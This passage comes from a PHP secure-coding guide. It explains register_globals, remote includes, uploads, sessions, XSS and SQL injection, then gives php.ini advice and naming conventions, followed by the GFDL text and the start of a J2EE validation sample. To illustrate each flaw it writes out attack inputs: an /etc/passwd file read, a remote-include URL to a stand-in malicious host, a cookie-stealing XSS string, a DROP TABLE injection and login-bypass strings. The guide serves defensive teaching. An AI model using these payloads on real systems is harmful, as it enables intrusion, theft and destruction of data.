    // Open $sFilename and send it's contents to the browser
    ...
}
```

If we were to call this page like: page.php?sFilename=/etc/passwd with register_globals set, it would be the same as to write the following:

```
$sFilename = '/etc/passwd'; // This is done internally by PHP

if ( $bIsAlwaysFalse )
{
    // This is never executed:
    $sFilename = 'somefile.php';
}

...

if ( $sFilename != '' )
{
    // Open $sFilename and send it's contents to the browser
    ...
}
```

PHP takes care of the $sFilename = '/etc/passwd'; part for us. What this means is that a malicious user could inject his/her own value for $sFilename and view any file readable under the current security context.

We should always; I say that again, we should always think of that "what if" when writing code. So turning off register_globals might be a solution but what if our code ends up on a server with register_globals on. We must bear in mind that all variables in global scope could have been tampered with. The correct way to write the above code would be to make sure that we always assign a value to $sFilename:

```
// We initialize $sFilename to an empty string
$sFilename = '';

if ( $bIsAlwaysFalse )
{
    // This is never executed:
    $sFilename = 'somefile.php';
}

...

if ( $sFilename != '' )
{
    // Open $sFilename and send it's contents to the browser
    ...
}
```

Another solution would be to have as little code as possible in global scope. Object oriented programming (OOP) is a real beauty when done right and I would highly recommend you to take that approach. We could write almost all our code in classes which is generally safer and promotes reuse.

Like we never should assume that register_globals is off we should never assume it is on. The correct way to get input from GET, POST, COOKIE etc is to use the superglobals that were added in PHP version 4.1.0. These are the $_GET, $_POST, $_ENV, $_SERVER, $_COOKIE, $_REQUEST $_FILES, and $_SESSION arrays. The term su-

perglobals is used since they are always available without regard to scope.

Includes and Remote files

The PHP functions include() and require() provides an easy way of including and evaluating files. When a file is included, the code it contains inherits the variable scope of the line on which the include statement was executed. All variables available at that line will be available within the included file. And the other way around, variables defined in the included file will be available to the calling page within the current scope.

The included file does not have to be a file on the local computer. If the allow_url_fopen directive is enabled in php.ini you can specify the file to be included using an URL. That is PHP will get it via HTTP instead of a local pathname. While this is a nice feature it can also be a big security risk. Note: The allow_url_fopen directive is enabled by default.

A common mistake is not considering that every file can be called directly, that is a file written to be included is called directly by a malicious user. An example:

```
// file.php

$sIncludePath = '/inc/';

include($sIncludePath . 'functions.php');

...

// functions.php

include($sIncludePath . 'datetime.php');
include($sIncludePath . 'filesystem.php');
```

In the above example functions.php is not meant to be called directly, so it assumes $sIncludePath is set by the calling page. By creating a file called datetime.php or filesystem.php on another server (and turning off PHP processing on that server) we could call functions.php like the following:

```
functions.php?sIncludePath=http://www.malicioushost.com/
```

PHP would nicely download datetime.php from the other server and execute it, which means a malicious user could execute code of his/her choice in functions.php.

I would recommend against includes within includes (as the example above). In my opinion it makes it harder to understand and get an overview of the code. But right now we want to make the above code safe and to do that we make sure that functions.php really is called from file.php. The code below shows one solution:

```
// file.php

define('SECURITY_CHECK', true);

$sIncludePath = '/inc/';

include($sIncludePath . 'functions.php');

...

// functions.php

if ( !defined('SECURITY_CHECK') )
{
     // Output error message and exit.
   ...
```

```
}

include($sIncludePath . 'datetime.php');
include($sIncludePath . 'filesystem.php');
```

The function define() defines a constant. Constants are not prefixed by a dollar sign ($) and thus we can not break this by something like: functions.php?SECURITY_CHECK=1

Although not so common these days you can still come across PHP files with the .inc extension. These files are only meant to be included by other files. What is often overlooked is that these files, if called directly, does not go through the PHP preprocessor and thus get sent in clear text. We should be consistent and stick with one extension that we know gets processed by PHP. The .php extension is the recommended.

File upload

PHP is a feature rich language and one of it is built in features is automatic handling of file uploads. When a file is uploaded to a PHP page it is automatically saved to a temporary directory. New global variables describing the uploaded file will be available within the page.

Consider the following HTML code presenting a user with an upload form:

```
<form action="page.php" method="POST" enctype="multipart/form-data">
  <input type="file" name="testfile" />
  <input type="submit" value="Upload file" />
</form>
```

After submitting the above form, new variables will be available to page.php based on the "testfile" name.

```
// Variables set by PHP and what they will contain:

// A temporary path/filename generated by PHP. This is where the file is sav
// move it or it is removed by PHP if we choose not to do anything with it.
$testfile

// The original name/path of the file on the client's system.
$testfile_name

// The size of the uploaded file in bytes.
$testfile_size

// The mime type of the file if the browser provided this information. For e
"image/jpeg".
$testfile_type
```

A common approach is to check if $testfile is set and if it is, start working on it right away, maybe copying it to a public directory, accessible from any browser. You probably already guessed it; this is a very insecure way of working with uploaded files. The $testfile variable does not have to be a path/file to an uploaded file. It could come from GET, POST, and COOKIE etc. A malicious user could make us work on any file on the server, which is not very pleasant.

First of all, like I mentioned before we should not assume anything about the register_globals directive, it could be on or off for all we care, our code should work with or without it and most importantly it will be just as secure regardless of configuration settings. So the first thing we should do is to use the $_FILES array:

```
// The temporary filename generated by PHP
$_FILES['testfile']['tmp_name']
```

```
// The original name/path of the file on the client's system.
$_FILES['testfile']['name']

// The mime type of the file if the browser provided this information. For e
"image/jpeg".
$_FILES['testfile']['type']

// The size of the uploaded file in bytes.
$_FILES['testfile']['size']
```

The built in functions is_uploaded_file() and/or move_uploaded_file() should be called with $_FILES['testfile']['tmp_name'] to make sure that the file really was uploaded by HTTP POST. The following example shows a straightforward way of working with uploaded files:

```
if ( is_uploaded_file($_FILES['testfile']['tmp_name']) )
{

    // Check if the file size is what we expect (optional)
   if ( $_FILES['sImageData']['size'] > 102400 )
   {
        // The size can not be over 100kB, output error message and exit.
        ...
   }

   // Validate the file name and extension based on the original name in
$_FILES['testfile']['name'],
   // we do not want anyone to be able to upload .php files for example.
   ...

  // Everything is okay so far, move the file with move_uploaded_file
  ...

}
```

Note: We should always check if a variable in the superglobals arrays is set with isset() before accessing it. I choose not to do that in the above examples because I wanted to keep them as simple as possible.

Sessions

Sessions in PHP is a way of saving user specific variables or "state" across subsequent page requests. This is achieved by handing a unique session id to the browser which the browser submits with every new request. The session is alive as long as the browser keeps sending the id with every new request and not to long time passes between requests.

The session id is generally implemented as a cookie but it could also be a value passed in the URL. Session variables are saved to files in a directory specified in php.ini, the filenames in this directory are based on the session ids. Each file will contain the variables for that session in clear text.

First we are going to look at the old and insecure way of working with sessions; unfortunately this way of working with sessions is still widely used.

```
// first.php

// Initalize session management
session_start();

// Authenticate user
if ( ... )
{
   $bIsAuthenticated = true;
```

```
}
else
{
   $bIsAuthenticated = false;
}

// Register $bIsAuthenticated as a session variable
session_register('bIsAuthenticated');

echo '<a href="second.php">To second page</a>';


// second.php

// Initalize session management
session_start();

// $bIsAuthenticated is automatically set by PHP
if ( $bIsAuthenticated )
{
   // Display sensitive information
  ...
}
```

Why is this insecure? It is insecure because a simple second.php?bIsAuthenticated=1 would bypass the authentication in first.php.

session_start() is called implicitly by session_register() or by PHP if the session.auto_start directive is set in php.ini (defaults to off). However to be consistent and not to rely on configuration settings we always call it for ourselves.

The recommend way of working with sessions:

```
// first.php

// Initalize session management
session_start();

// Authenticate user
if ( ... )
{
   $_SESSION['bIsAuthenticated'] = true;
}
else
{
   $_SESSION['bIsAuthenticated'] = false;
}

echo '<a href="second.php">To second page</a>';

// second.php

// Initalize session management
session_start();

if ($_SESSION['bIsAuthenticated'] )
{
   // Display sensitive information
  ...
}
```

Not only is the above code more secure it is also, in my opinion, much cleaner and easier to understand.

Note: On multi host system remember to secure the directory containing the session files, otherwise users might be able to create custom session files for other sites.

Cross site scripting (XSS)

XSS and PHP

Consider a guestbook application written in PHP. The visitor is presented with a form where he/she enters a message. This form is then posted to a page which saves the data to a database. When someone wishes to view the guestbook all messages are fetched from the database to be sent to the browser.

For each message in the database the following code is executed:

```
// $aRow contains one row from a SQL-query
...
echo '<td>';
echo $aRow['sMessage'];
echo '</td>';
...
```

What this means is that exactly what is entered in the form is later sent unchanged to every visitor's browser. Why is this a problem? Picture someone entering the character < or >, that would probably break the page's formatting. But we should be happy if that is all that happens. This leaves the page wide open for injecting JavaScript, HTML, VBScript, Flash, ActiveX etc. A malicious user could use this to present new forms, fooling users to enter sensitive data. Unwanted advertising could be added to the site. Cookies can be read with JavaScript on most browsers and thus most session id's, leading to hijacked accounts.

What we want to do here is to convert all characters that have special meaning to HTML into HTML entities. Luckily PHP provides a function for doing just that, this function is called htmlspecialchars and converts the characters ", &, < and > into &, ", < and >. (PHP has another function called htmlentities which converts all characters that have HTML entities equivalents, but htmlspecialchars suits our needs perfectly.)

```
// The correct way to do the above would be:
...
echo '<td>';
echo htmlspecialchars($aRow['sMessage']);
echo '</td>';
...
```

One might wonder why we do not do this right away when saving the message to the database. Well that is just begging for trouble, then we would have to keep track of where the data in every variable comes from, and we would have to treat input from GET, POST differently from data we fetch from a database. It is much better to be consistent and call htmlspecialchars on the data right before we send it to the browser. This should be done on all unfiltered input before sending it to the browser.

Why htmlspecialchars is not always enough

Let's take a look at the following code:

```
// This page is meant to be called like: page.php?sImage=filename.jpg
echo '<img src="' . htmlspecialchars($_GET['sImage']) . '" />';
```

The above code without htmlspecialchars would leave us completely vulnerable to XSS attacks but why is not htmlspecialchars enough? Since we are already in a HTML tag we do not need < or > to be able to inject malicious code. Take a look at the following:

```
// We change the way we call the page:
// page.php?sImage=javascript:alert(document.cookie);

// Same code as before:
echo '<img src="' . htmlspecialchars($_GET['sImage']) . '" />';

<!-- The above would result in: -->
<img src="javascript:alert(document.cookie);" />
```

"javascript:alert(document.cookie);" passes right through htmlspecialchars without a change. Even if we replace some of the characters with HTML numeric character references the code would still execute in some browsers.

```
<!-- This would execute in some browsers: -->
<img src="javascript&#58;alert&#40;document.cookie&#41;;" />
```

There is no generic solution here other than to only accept input we now is safe, trying to filter out bad input is hard and we are bound to miss something. Our final code would look like the following:

```
// We only accept input we know is safe (in this case a valid filename)
if ( preg_match('/^[0-9a-z_]+\.[a-z]+$/i', $_GET['sImage']) )
{
        echo '<img src="' . $_GET['sImage'] . '" />';
}
```

SQL-injection

The term SQL-injection is used to describe the injection of commands into an existing SQL query. The Structured Query Language (SQL) is a textual language used to interact with database servers like MySQL, MS SQL and Oracle.

Why not start out with an example?

```
$iThreadId = $_POST['iThreadId'];

// Build SQL query
$sSql = "SELECT sTitle FROM threads WHERE iThreadId = " . $iThreadId;

To see what's wrong with to code above, let's take a look at the following HTML code

<form method="post" action="insecure.php">

    <input type="text" name="iThreadId" value="4; DROP TABLE users" />

    <input type="submit" value="Don't click here" />

</form>
```

If we submit the above form to our insecure page, the string sent to the database server would look like the following, which is not very pleasant:

```
SELECT sTitle FROM threads WHERE iThreadId = 4; DROP TABLE users
```

There are several ways you can append SQL commands like this, some dependent of the database server.

To take this further, this code is common in PHP applications:

```
$sSql = "SELECT iUserId FROM users" .
        " WHERE sUsername = '" . $_POST['sUsername'] . "' AND sPassword = '" .
$_GET['sPassword'] . "'";
```

We can easily skip the password section here by entering "theusername'--" as the username or "' OR " = "' as the password (without the double-quotes), resulting in:

```
// Note: -- is a line comment in MS SQL so everything after it will be skipped
SELECT iUserId FROM users WHERE sUsername = 'theusername'--' AND sPassword =
''
// Or:
SELECT iUserId FROM users WHERE sUsername = 'theusername' AND sPassword = ''
OR '' = ''
```

Here is where validation comes into play, in the first example above we must check that $iThreadId really is a number before we append it to the SQL-query.

```
if ( !is_numeric($iThreadId) )
{
    // Not a number, output error message and exit.
    ...
}
```

The second example is a bit trickier since PHP has built in functionality to prevent this, if it is set. This directive is called magic_quotes_gpc, which like register_globals never should have been built into PHP, in my opinion that is, and I will explain why.

To have characters like ' in a string we have to escape them, this is done differently depending on the database server:

```
// MySQL:
SELECT iUserId FROM users WHERE sUsername = 'theusername\'--' AND sPassword
= ''

// MS SQL Server:
SELECT iUserId FROM users WHERE sUsername = 'theusername''--' AND sPassword
= ''
```

Now what magic_quotes_gpc does, if set, is to escape all input from GET, POST and COOKIE (gpc). This is done as in the first example above, that is with a backslash. So if you enter "theusername'--" into a form and submit it, $_POST['sUsername'] will contain "theusername\'--", which is perfectly safe to insert into the SQL-query, as long as the database server supports it (MS SQL Server doesn't). This is the first problem the second is that you need to strip the slashes if you're not using it to build a SQL-query.

A general rule here is that we want our code to work regardless if magic_quotes_gpc is set or not. The following code will show a solution to the second example:

```
// Strip backslashes from GET, POST and COOKIE if magic_quotes_gpc is on
if ( get_magic_quotes_gpc() )
```

```
{
    // GET
    if ( is_array($_GET) )
    {
        // Loop through GET array
        foreach( $_GET as $key => $value )
        {
            $_GET[$key] = stripslashes($value);
        }
    }

    // POST
    if ( is_array($_POST) )
    {
        // Loop through POST array
        foreach( $_POST as $key => $value )
        {
            $_POST[$key] = stripslashes($value);
        }
    }

    // COOKIE
    if ( is_array($_COOKIE) )
    {
        // Loop through COOKIE array
        foreach( $_COOKIE as $key => $value )
        {
            $_COOKIE[$key] = stripslashes($value);
        }
    }

}

function sqlEncode($sText)
{
    if ( $bIsMySql )
        return addslashes($sText);
    else // Is MS SQL Server
        return str_replace("'", "''", $sText);
}

$sUsername = $_POST['sUsername'];
$sPassword = $_POST['sPassword'];

$sSql = "SELECT iUserId FROM users" .
        " WHERE sUsername = '" . sqlEncode($sUsername) . "'" .
        " AND sPassword = '" . sqlEncode($sPassword) . "'";
```

Preferably we put the if-statement and the sqlEncode function in an include.

Now as you probably can imagine a malicious user can do a lot more than what I've shown you here, that is if we leave our scripts vulnerable to injection. I have seen examples of complete databases being extracted from vulnerabilities like the ones described above.

Target functions

The following is a list of functions to be extra careful with. If unfiltered input get to one of these functions exploitation is often possible.

Execution of PHP code

include() and require() - Includes and evaluates a file as PHP code. eval() - Evaluates a string as PHP code. preg_replace() - The /e modifier makes this function treat the replacement parameter as PHP code.

Command injection

exec(), passthru(), system(), popen() and the backtick operator (``) - Executes its input as a shell command.

When passing user input to these functions, we need to prevent malicious users from tricking us into executing arbitrary commands. PHP has two functions which should be used for this purpose, they are escapeshellarg() and escapeshellcmd().

Configuration settings

register_globals

If set PHP will create global variables from all user input coming from get, post and cookie.

If you have the opportunity to turn off this directive you should definitely do so. Unfortunately there is so much code out there that uses it so you are lucky if you can get away with it.

Recommended: off

safe_mode

The PHP safe mode includes a set of restrictions for PHP scripts and can really increase the security in a shared server environment. To name a few of these restrictions: A script can only access/modify files and folders which has the same owner as the script itself. Some functions/operators are completely disabled or restricted, like the backtick operator.

disable_functions

This directive can be used to disable functions of our choosing.

open_basedir

Restricts PHP so that all file operations are limited to the directory set here and its subdirectories.

allow_url_fopen

With this option set PHP can operate on remote files with functions like include and fopen.

Recommended: off

error_reporting

We want to write as clean code as possible and thus we want PHP to throw all warnings etc at us.

Recommended: E_ALL

log_errors

Logs all errors to a location specified in php.ini.

Recommended: on

display_errors

With this directive set, all errors that occur during the execution of scripts, with respect to error_reporting, will be sent to the browser. This is desired in a development environment but not on a production server, since it could expose sensitive information about our code, database or web server.

Recommended: off (production), on (development)

magic_quotes_gpc

Escapes all input coming in from post, get and cookie. This is something we should handle on our own.

This also applies to magic_quotes_runtime.

Recommended: off

post_max_size, upload_max_filesize and memory_limit

These directives should be set at a reasonable level to reduce the risk of resource starvation attacks.

Recommended practices

Double versus Single quotes

```
// Double quotes:
$sSql = "SELECT iUserId FROM users WHERE sName = 'John Doe'";

// Single quotes:
echo '<td width="100"></td>';
```

As a general rule use double quotes with sql-commands, in all other cases use single quotes.

Do not rely on short_open_tag

If short_open_tag is set it allows the short form of PHP's open tag to be used, that is <? ?> instead of <?php ?>. Like register_globals you should never assume that this is set.

String concatenation.

```
$sOutput = 'Hello ' . $sName;
// Not: $sOutput = "Hello $sName";
```

This increases readability and is less error prone.

Comment your code.

Always try to comment your code, regardless of how simple it may seem to you and remember to use English.

Complex code should always be avoided

If you find that you have trouble understanding code you've written then try to picture other people understanding it. Comments help but doesn't always do it here so rewrite!

Naming Conventions

Variable names should be in mixed case starting with lower case prefix

```
$sName, $iSizeOfBorder // string, integer
```

This makes it very easy to look at a variable and directly see what it contains.

Here is a list of common prefixes: a Array b bool d double f float i int l long s string g_ global (followed by normal prefix)

Boolean variables should use the prefix b followed by is, has, can or should

```
$bIsActive, $bHasOwner
```

This also applies to functions that return boolean, but without the b prefix, for example:

```
$user->hasEmail();
```

Negated boolean variable names must be avoided

```
var $bIsActive;
// Not: $bIsNotActive

var $bHasId;
// Not: $bHasNoId
```

It's not directly obvious what that following code does:

```
if ( !$bIsNotActive )
{
    ...
}
```

Object variables should be all lowercase or use the prefix o or obj

```
$session, $page // Preferred
$oSession
$objPage
```

All lowercase is the preferred here but the important thing is to be consistent.

Constants must be all uppercase using underscore to separate words

```
$SESSION_TIMEOUT, $BACKGROUND_COLOR, $PATH
```

However, in general the use of such constants should be minimized and if needed replace them with functions.

Function names should start with a verb and be written in mixed case starting with lower case

```
validateUser(), fetchArray()
```

Abbreviations must not be uppercase when used in a name

```
$sHtmlOutput
// Not: $sHTMLOutput
getPhpInfo()
// Not: getPHPInfo()
```

Using all uppercase for the base name will give conflicts with the naming conventions given above.

SQL keywords should be all uppercase

```
SELECT TOP 10 sUsername, sName FROM users
```

This makes it much easier to understand and get an overview of a SQL query.

Private class variables should have underscore suffix

```
class MyClass
{
    var $sName_;
}
```

This is a way of separating public and private variables. However this is not as important as in other languages since in PHP you use the $this-> pointer to access private variables.

All names should be written in English

```
$iRowId // Not: $iRadId (Swedish)
```

English is the preferred language for international development. This also applies to comments.

Variables with a large scope should have long names, variables with a small scope can have short names

Temporary variables are best kept short. Someone reading such variables should be able to assume that its value is not used outside a few lines of code.

Common temporary variables are $i, $j, $k, $m and $n. Since these variables should have small scope prefixes are a bit of overkill.

The name of the object is implicit, and should be avoided in a method name

```
$session->getId() // Not: $session->getSessionId()
```

The latter might seem natural when writing the class declaration, but is implicit in use, as shown in the example above.

The terms get/set must be used where an attribute is accessed directly.

```
$user->getName()
$user->setName($sName)
```

This is already common practice in languages like C++ and Java.

Abbreviations should be avoided

```
$session->initialize();
// Not: $session->init();

$thread->computePosts();
// Not: $thread->compPosts();
```

There is an exception to this rule and that is names that are better known for their shorter form, like Html, Cpu etc.

Syntax

Function and class declarations

```
function doSomething()
{
    ...
}

// Not:
function doSomething() {
    ...
}
```

The same applies to class declaration.

Statements and curly brackets

```
if ( $bIsActive )
{
    ...
}

// Not:
if ( $bIsActive ) {
    ...
}
```

The first bracket should always be on the line after the statement, not on the same line. The code is much easier to follow this way. This also applies to for, switch, while etc.

Statements and spaces

```
if ( $sName == 'John' )
{
    ...
}

// Not:
if($sName=='John')
{
    ...
}
```

Summary

If I were to summarize this chapter in one word it would be validate, I can not stress this enough. Validate, validate and validate. Do not trust input from any source unless you can be 100% certain that it has not been tampered with. This applies to variables in global scope as well as input from GET, POST and COOKIE. Even data in a database can not be trusted if it sometime came from user input.

Never send unfiltered output to the browser or we would surely be vulnerable to XSS attacks in one way or another.

Part II. Appendixes

Table of Contents

Appendix A. GNU Free Documentation License

Version 1.1, March 2000

PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of for-

mats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a

copy of it. In addition, you must do these things in the Modified Version:

A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

C. State on the Title page the name of the publisher of the Modified Version, as the publisher.

D. Preserve all the copyright notices of the Document.

E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

H. Include an unaltered copy of this License.

I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already

includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

> Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Appendix B. Appendix B - Data Validation Source Samples

Gene McKenna

CGI Input Data Validation - Rejection of Known Bad Data

As mentioned in Chapter 11, a well designed system should validate all user input data. If all requests come in to a central location and leave from a central location then the problem is easier to solve with a common component.

The following code samples show a simple component for data validation for J2EE servlets and another for Perl CGI scripts. In both cases, the samples test the user input to see if it matches a certain regular expression. The regular expression defines any HTML tag and if it is matched, the input is considered invalid. Other regular expressions, can, of course, be used to meet one's needs.

The samples are not intended to serve as production code ready to meet any specific data validation need. Different applications will have different data validation needs and no one component could work in all situations. Rather these samples are code "snippets" that demonstrate the basic concept.

J2EE - Input Validation With Servlets

```
import java.util.* ;
import javax.servlet.* ;
import javax.servlet.http.* ;
import javax.servlet.jsp.* ;
import org.apache.oro.text.regex.* ; // regular expression package
import org.apache.oro.text.* ;       // used for matching input data

/**
 * This servlet will match all user input for GET and POST
 * requests and sanitize the input by converting < and >
 * to &lt; and &gt; respectively.
 *
 * This sample program relies on the ORO regular expression package
 * version 2.0.4 from the Apache group. http://jakarta.apache.org
 */
public class ValidationServlet
     extends HttpServlet
{
  private static Perl5Compiler       sCompiler ;         // a pattern compiler
  private static PatternCacheLRU     sCachedPatterns ;
  private static final Perl5Matcher  sMatcher = new Perl5Matcher() ;

  /**
   * Things in here will only happen once for each instance of
   * the servlet.
   */
  public void init( ServletConfig config )
